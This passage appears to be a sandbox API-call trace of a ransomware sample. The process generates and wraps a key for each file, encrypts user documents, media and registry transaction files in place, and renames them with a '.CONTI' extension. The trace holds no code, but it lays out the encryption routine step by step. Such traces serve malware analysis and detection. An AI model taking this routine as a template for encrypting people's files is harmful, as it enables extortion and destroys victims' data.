	[0130.181] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.181] GetLastError () returned 0x5
	[0130.181] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0130.181] GetProcessHeap () returned 0x1720000
	[0130.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510cf8 | out: hHeap=0x1720000) returned 1
	[0130.181] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0134.001] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b44e58 | out: phKey=0x6b44e58*=0x17c83f0) returned 1
	[0134.001] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44e5c, pdwDataLen=0x587f8ac | out: pbData=0x6b44e5c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0134.002] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm")) returned 0x20
	[0134.002] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\smsinterceptstore.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.002] GetLastError () returned 0x5
	[0134.002] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.002] GetProcessHeap () returned 0x1720000
	[0134.002] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740330 | out: hHeap=0x1720000) returned 1
	[0134.002] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0134.710] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x17c7ff0) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x587f8ac | out: pbData=0x6b459c4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0135.424] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20
	[0135.424] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.425] GetLastError () returned 0x5
	[0135.425] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0135.425] GetProcessHeap () returned 0x1720000
	[0135.425] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0135.425] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0137.801] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b50df8 | out: phKey=0x6b50df8*=0x6b7eaf8) returned 1
	[0137.801] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50dfc, pdwDataLen=0x587f8ac | out: pbData=0x6b50dfc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0137.802] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26
	[0137.803] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0137.803] GetLastError () returned 0x0
	[0137.803] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=524288) returned 1
	[0137.803] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80000
	[0137.803] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.803] SetEndOfFile (hFile=0x448) returned 1
	[0137.803] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.803] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.804] WriteFile (in: hFile=0x448, lpBuffer=0x6b50dfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b50dfc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0137.805] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.805] ReadFile (in: hFile=0x448, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x80000, lpOverlapped=0x0) returned 1
	[0138.024] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x80000, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x80010) returned 1
	[0138.025] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.025] WriteFile (in: hFile=0x448, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x80010, lpOverlapped=0x0) returned 1
	[0138.026] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.026] WriteFile (in: hFile=0x448, lpBuffer=0x6b50df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b50df0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0138.026] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.026] CloseHandle (hObject=0x448) returned 1
	[0138.027] GetProcessHeap () returned 0x1720000
	[0138.027] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.027] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms"
	[0138.027] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.CONTI"
	[0138.027] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000001.regtrans-ms.conti")) returned 1
	[0138.027] GetProcessHeap () returned 0x1720000
	[0138.027] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.028] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0138.028] GetProcessHeap () returned 0x1720000
	[0138.028] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0e88 | out: hHeap=0x1720000) returned 1
	[0138.028] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0138.028] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b489a8 | out: phKey=0x6b489a8*=0x6b7e878) returned 1
	[0138.028] CryptExportKey (in: hKey=0x6b7e878, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b489ac, pdwDataLen=0x587f8ac | out: pbData=0x6b489ac*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0138.028] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\_i1jazuqjj7.wav")) returned 0x20
	[0138.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\_i1jazuqjj7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0138.029] GetLastError () returned 0x0
	[0138.029] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=98748) returned 1
	[0138.029] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x181bc
	[0138.029] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.029] SetEndOfFile (hFile=0x448) returned 1
	[0138.029] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.029] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.029] WriteFile (in: hFile=0x448, lpBuffer=0x6b489ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b489ac*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0138.073] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.073] ReadFile (in: hFile=0x448, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x181bc, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x181bc, lpOverlapped=0x0) returned 1
	[0138.076] CryptEncrypt (in: hKey=0x6b7e878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x181bc, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x181c0) returned 1
	[0138.076] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.076] WriteFile (in: hFile=0x448, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x181c0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x181c0, lpOverlapped=0x0) returned 1
	[0138.076] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.076] WriteFile (in: hFile=0x448, lpBuffer=0x6b489a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b489a0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0138.076] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.076] CloseHandle (hObject=0x448) returned 1
	[0138.076] GetProcessHeap () returned 0x1720000
	[0138.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0138.077] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav") returned="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav"
	[0138.077] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav.CONTI"
	[0138.077] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\_i1jazuqjj7.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\_I1jAZUQjj7.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\_i1jazuqjj7.wav.conti")) returned 1
	[0138.077] GetProcessHeap () returned 0x1720000
	[0138.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0138.077] CryptDestroyKey (hKey=0x6b7e878) returned 1
	[0138.077] GetProcessHeap () returned 0x1720000
	[0138.077] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf078 | out: hHeap=0x1720000) returned 1
	[0138.077] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0139.133] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ee08 | out: phKey=0x6b4ee08*=0x6b7ec38) returned 1
	[0139.133] CryptExportKey (in: hKey=0x6b7ec38, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ee0c, pdwDataLen=0x587f8ac | out: pbData=0x6b4ee0c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.560] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fcipzjc-6tv.pptx")) returned 0x20
	[0146.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fcipzjc-6tv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.561] GetLastError () returned 0x0
	[0146.561] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=43620) returned 1
	[0146.561] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaa64
	[0146.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.561] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.561] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.561] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.561] WriteFile (in: hFile=0x2f0, lpBuffer=0x6b4ee0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee0c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0146.564] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.564] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0xaa64, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0xaa64, lpOverlapped=0x0) returned 1
	[0146.569] CryptEncrypt (in: hKey=0x6b7ec38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xaa64, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xaa70) returned 1
	[0146.569] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.569] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xaa70, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xaa70, lpOverlapped=0x0) returned 1
	[0146.569] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.569] WriteFile (in: hFile=0x2f0, lpBuffer=0x6b4ee00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee00*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0146.570] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.570] CloseHandle (hObject=0x2f0) returned 1
	[0146.570] GetProcessHeap () returned 0x1720000
	[0146.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.570] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx") returned="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx"
	[0146.570] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx.CONTI"
	[0146.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fcipzjc-6tv.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\FCIPZJc-6TV.pptx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\fcipzjc-6tv.pptx.conti")) returned 1
	[0146.570] GetProcessHeap () returned 0x1720000
	[0146.570] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.570] CryptDestroyKey (hKey=0x6b7ec38) returned 1
	[0146.571] GetProcessHeap () returned 0x1720000
	[0146.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f20 | out: hHeap=0x1720000) returned 1
	[0146.571] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0146.571] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d72b0 | out: phKey=0x65d72b0*=0x17de750) returned 1
	[0146.571] CryptExportKey (in: hKey=0x17de750, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d72b4, pdwDataLen=0x587f8ac | out: pbData=0x65d72b4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0146.571] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\gygrj.avi")) returned 0x20
	[0146.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\gygrj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0146.572] GetLastError () returned 0x0
	[0146.572] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=78195) returned 1
	[0146.572] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13173
	[0146.572] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.572] SetEndOfFile (hFile=0x2f0) returned 1
	[0146.572] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.572] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.572] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d72b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d72b4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0146.575] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.575] ReadFile (in: hFile=0x2f0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x13173, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x13173, lpOverlapped=0x0) returned 1
	[0146.579] CryptEncrypt (in: hKey=0x17de750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x13173, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x13180) returned 1
	[0146.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.579] WriteFile (in: hFile=0x2f0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x13180, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x13180, lpOverlapped=0x0) returned 1
	[0146.579] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.580] WriteFile (in: hFile=0x2f0, lpBuffer=0x65d72a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d72a8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0146.580] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.580] CloseHandle (hObject=0x2f0) returned 1
	[0146.580] GetProcessHeap () returned 0x1720000
	[0146.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.580] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi") returned="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\gYGRJ.avi"
